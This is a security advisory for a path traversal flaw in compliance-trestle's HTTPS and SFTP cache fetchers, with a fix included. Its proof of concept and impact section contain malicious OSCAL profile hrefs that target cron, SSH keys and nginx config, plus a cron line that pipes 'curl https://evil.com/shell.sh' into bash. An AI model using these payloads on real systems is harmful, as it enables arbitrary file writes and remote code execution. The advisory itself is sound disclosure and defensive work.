PYSEC-2026-2424 
## Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem.

**Attack chain:** Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

## Affected Component

**Repository:** https://github.com/IBM/compliance-trestle
**File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)
**Version:** v4.0.2 (latest as of 2026-04-30)
## Vulnerable Code

### cache.py:259-266 — HTTPSFetcher cache path construction

```python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        # ...
        if u.hostname is None:
            raise TrestleError(f'Cache request for {self._uri} requires hostname')
        https_cached_dir = self._trestle_cache_path / u.hostname
        # ❌ path_parent preserves ../ sequences from URL
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache
        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
```

### cache.py:285-295 — Content written to traversed path

```python
    def _do_fetch(self) -> None:
        # ...
        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
        if response.status_code == 200:
            result = response.text  # ❌ Attacker-controlled content
            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path
```

### cache.py:328-333 — SFTPFetcher (identical pattern)

```python
class SFTPFetcher(FetcherBase):
    def __init__(self, ...):
        # Identical path construction — same vulnerability
        sftp_cached_dir = self._trestle_cache_path / u.hostname
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        sftp_cached_dir = sftp_cached_dir / path_parent
        sftp_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
```

**Root Cause:**
1. `urlparse("https://evil.com/../../../tmp/pwned.json").path` = `/../../../tmp/pwned.json` — preserves `../`
2. `pathlib.Path(u.path).parent` preserves traversal sequences
3. `cache_dir / hostname / "../../../../../../tmp"` resolves outside cache
4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories
5. `write_text(response.text)` writes attacker-controlled content to traversed path
6. **No `is_relative_to()` boundary check** on the resolved path


## Steps to Reproduce

### Prerequisites

```bash
pip install compliance-trestle==4.0.2
```

### PoC: Malicious OSCAL Profile

```yaml
# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
```

### PoC: Cache Path Traversal Simulation

```python
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)

# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))
```

**Expected:** Write confined to `.trestle/.cache/` directory
**Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location)


## Remediation

### Fix for HTTPSFetcher (cache.py:259-266):

```python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        https_cached_dir = self._trestle_cache_path / u.hostname

        # ✅ Sanitize path: remove traversal sequences
        safe_path = pathlib.PurePosixPath(u.path).parts
        safe_path = [p for p in safe_path if p != '..' and p != '/']
        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = https_cached_dir / safe_path[-1]

        # ✅ Boundary check
        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
            raise TrestleError(
                f"Cache path traversal blocked: URL '{uri}' resolves to "
                f"'{self._cached_object_path.resolve()}' outside cache directory"
            )
```

Same fix required for SFTPFetcher at lines 328-333.

## References

- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html
- **CWE-73:** https://cwe.mitre.org/data/definitions/73.html
- **compliance-trestle:** https://github.com/IBM/compliance-trestle

## Impact

### 1. Cron Job Injection → Remote Code Execution

```yaml
# Profile that writes a cron job
imports:
  - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"
```

Attacker's server responds with:
```
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'
```

### 2. SSH Authorized Keys Injection

```yaml
imports:
  - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"
```

Attacker's server responds with their SSH public key.

### 3. Config File Overwrite

```yaml
imports:
  - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"
```

### 4. Python Path Hijacking

Write malicious `.py` file to a location on `sys.path` for code execution on next import.
CVSS v4.0 score: 7.1